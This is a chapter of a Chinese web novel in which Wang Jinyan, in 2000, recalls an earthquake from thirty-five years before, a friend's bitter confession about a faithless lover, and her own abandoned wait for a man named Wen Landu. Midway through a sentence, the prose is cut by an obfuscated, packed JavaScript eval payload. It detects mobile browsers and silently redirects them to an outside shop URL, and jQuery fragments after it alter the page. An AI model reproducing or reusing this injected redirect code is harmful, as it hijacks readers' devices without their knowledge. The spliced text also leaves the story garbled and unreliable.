二零零年，冬。


    王金妍穿着厚实的棉服，站在榕树的庇荫下。


    冬日暖阳倾泻，落在了街对面那即将竣工的高楼上。


    呼出的雾气袅袅，她目光上挑，注视着那最后落下的几个楼顶大字——新天地大厦。


    她心如止水，光照却刺得她双目发花，几番眨眼后，眼眶不自觉湿润了起来。


    当光晕散去，王金妍才垂眸，打量起了自己早已布满了皱纹的手。


    指尖在冷空气中迟滞划动着，口中念念有词。良久，她才呢喃道：“三十五年了。”


    凛冽的寒气磨刺着面颊，王金妍将手揣进口袋，又一次仰起了头——


    那场天灾恍如昨日。


    她忽地想起了宋竞鹰，那个在转进宁城中心医院一周后，因抢救无效、离开了的人。


    暴雨、路面坍塌、山体滑坡，救援车辆迟迟无法开进临海村的种种原因，让他的伤势随着被拖延的每一秒恶化。每每想起这些旧事，王金妍的脑海中总是会不自觉闪过他言之凿凿的誓言，“那我不得好死。”


    而那个曾经一心想要逃离临海村、展开新生活的庄不悔，被沉重的横梁带走了双腿，余生都被困在了那四方的轮椅之中。她留在临海村内，靠着村子的补贴勉强度日。


    庄不悔真的没有怀孕。


    那场几乎要摧毁她的流言，竟是一起始于她肠胃不适和月经不调的乌龙。恶心、干呕的陌生症状，让庄不悔慌不择路，甚至没有求证，便急切地想要宋竞鹰为此负责。


    在震后动荡的第三年，王金妍又一次去见了她。


    那天，她刚到庄家，就与在院内晒太阳的庄不悔碰个正着。


    庄不悔咧嘴笑道：“好久不见啊，王老师。”


    王老师，是她康复那段时间，最常拿来调侃王金妍的称呼。


    王金妍早已习以为常，她眼帘微掀，对她的“阴阳怪气”置若罔闻。


    相隔三十五年，她仍旧记得那个午后临海村的海风与日照。


    在那极致混乱的岁月，王金妍被各种烦心事缠身，却在庄不悔身边感受到了少有的平静。


    湿润的海风拂过面颊，摇椅上的她昏昏欲睡时，庄不悔开口了——


    “你就不想问问我，关于那晚的事吗？”她声音不大，但话题敏感。


    困顿被抽离，意识骤然清醒，王金妍假寐着摇头。


    “……你问问我吧。”


    近乎哀求的嗓音，让她缓缓睁开了眼。她扭过脸，只见庄不悔顶着苍白的唇，笑得格外悲凉。


    静默片刻，王金妍点头，“好。”


    被吹起的发丝，于半空缠绕。


    庄不悔低着头，盯着自己再也无法站立的双腿，说：“你知道吗？我是全天下最蠢最蠢的人。”


    “他从来都没爱过我，从来都没有。那些对我来说珍贵无比的回忆，于他而言，不过是一种手段，哈哈哈哈——他接近我、帮助我，乃至说爱我，都是为了他自己，为了他自己啊——”


    “十几年的相伴、相知，相……”她微妙一顿，低低地笑了，“……相爱，原来都是我的一厢情愿。当我成为他前进路上的绊脚石后，他便会一脚踹开我，甚至不惜用最恶毒的方式毁了我。”


    “我去找他的时候，他就坐在堂屋，手上拿着颗金豆子。先前他总是念叨着要去上海或者北京弄一颗来……那天晚上，灯下的那颗金子特别特别漂亮，当时、当时我还以为那是他准备着送我的。”


    庄不悔的喉间又溢出了几声破碎的笑，“我还把手上的刀藏了藏，怕之前都是我误会他了，怕他会被我这鬼样子吓着……”


    起初，风中流淌着她的小心、雀跃，可渐渐的，风开始变得沉重，染上了愤恨、染上了不甘——


    “他怎么能这么说呢？！我气坏了，我逼问他，问他为什么要这么对我？为什么可以说着爱我，又把我往死路上逼？我推他、骂他，用最恶毒的话侮辱他。”


    “可是金妍，你知道吗？他竟然一点反应都没有，一点都没有，哈哈哈哈——他哪怕和我争执、和我动手都好啊？可是他却冷漠地站在那里，说他根本没有爱过我，也绝不可能爱上我这样的女人。”


    “是我太蠢、太傻，太一厢情愿。但为什么？明明是他牵着我的手，说爱我，是他……”放肆的笑声化作浓浓的不甘，庄不悔哽了好一会儿，才重新开口：“我恨他，我恨他的见异思迁，恨他的满口谎话，更恨他唯利是图。可是，我最该恨的人，是我自己，对不对？”


    “是我自己啊！！”胸膛因笑声在震颤，滚烫的热泪溢出眼眶。她想喊，却喊不出来，“……”


    王金妍将这一切看在眼里，握住了庄不悔的手。


    庄不悔在微微发颤，那份不属于她的体温在掌心交融。


    她看着自己与王金妍交扣的手，忽地咧嘴笑了，“然后啊，就地震了，我知道，我的机会……”


    闪烁着诡异光点的双眸倏地黯淡，笑声、愤恨、绝望，全都随着呼出的气息一同在王金妍的手中消散。


    她支起上半身，没被握住的那只手，正结结实实地堵住了庄不悔的嘴。


    王金妍沉着张脸，对仰头看着自己的庄不悔摇了摇头，“……”


    大厦竣工的爆竹声，将她从久远的回忆中拉了回来。


    鼻间充斥着刺鼻的烟味，王金妍拢了拢外套，稍稍退了一步，离身旁的榕树更近了些——


    几十年前的回忆，于她而言，有些模糊了。


    震后，宋书铭与郎宁两夫妻，选择回到临海村，专注于灾后重建；


    王兰英，虽说她与王金妍最初设想的轨迹有些偏离，但随着二十多年前的变动，也殊途同归。在她三十岁那年，她从外头抱回来了一个被弃养的女婴，取名王念乔。


    自此之后，王兰英也成了妈妈。


    而她自己——


    掌心贴上粗粝的树皮，榕树有些年岁了。垂落的枝条错综缠绕，却仍不似他们初见时那般壮硕。


    那些年，身为小学老师的王金妍，经历了不少风风雨雨。但因


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318403|187742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出身农村，且大地震时期的卓越贡献，也让她躲过了一些较为严峻的审判。


    动荡的岁月，真正教会了她缄默。


    再之后，一切回到正规，王金妍也重返校园。


    天灾带走了王金妍身上一切会影响升迁的争议，不再有人议论她的是非，相反她的贡献与成就开始常被提及。


    她又一次成为了教师，转眼已是三十五年。


    三十五年的光景，消磨了她黑亮的长发、清晰的视野和稳健的步伐，记忆在模糊，容颜在衰老，但她却一直牢牢记挂着自己与温兰杜的约定。


    早些时候，王金妍会频繁地来往市中心与临海村，她就这样孤身一人，守着老屋，一等就是好多年；可后来的一次年末，当她站在跨江大桥上，感受到前所未有的人声鼎沸时，她猛然意识到——


    她以为自己在追逐的是那个和自己时间错位的温兰杜，但其实从一开始，温兰杜就不该出现在她的生命中；她终其一生追逐的，不是温兰杜这个人，而是眼前这个她永远无法追上的、繁华的新世界。


    她是旧时代的人，她再也无法同四十年前一般，用青涩、懵懂的目光，丈量这个新兴的时代。


    就像……她再也无法用鲜活的肉-体与奔腾的血液去爱温兰杜。


    那允下的一定要等他的诺言，在风雨间，变得同老屋一般飘摇。


    他们的时间始终无法重叠，真等温兰杜找来时，她也不过是个迟暮的老人。留给他们的只剩下她为数不多的生命，和将要死别的痛不欲生。


    既然如此，这场等待，还有什么必要呢？


    最后一串爆竹燃尽，环境骤静。


    王金妍长舒了一口气，循着来时路，溜达回了自己的小区。


    这些年，她去往了不少别的城市与国家，但来来往往，她还是喜爱宁城。


    她喜欢这个城市的四季常青，也热爱着这个承载了她苦痛与回忆的故土。年少的恨意，被岁月冲散，现在的她，总是会回忆起那些是是非非。


    ……好像有好久好久没见那些故人了。


    王金妍一边绕着小区花园走着，一边盘算是否该再去会会庄不悔时，身后传来了一阵殷切的呼唤。


    “王老师——哎，王老师呀——”


    回眸，只见一个眼熟的邻居张婶正朝她疾步而来。


    张婶步子极快，身后还跟着个追着她的孕妇。


    两人前后脚停在了她面前，张婶笑容满面地说：“王老师，刚才我瞅着背影就觉得像您，一喊，果真是您！”


    王金妍笑着点头。


    几句寒暄过后，张婶便主动和她介绍起了自己身边的孕妇，“王老师，我和您介绍下吧，这是我朋友的女儿，嘉嘉。”


    “嘉嘉，来，快和王老师打个招呼。”张婶挥了挥手，“王老师啊，可是咱隔壁那个三中的校长呢！”


    午后的日光透过繁茂的枝叶，在地上落下深浅不一的光斑。


    王金妍顺着张婶的指引瞧去，只一眼，便不自觉蹙起了眉，“……”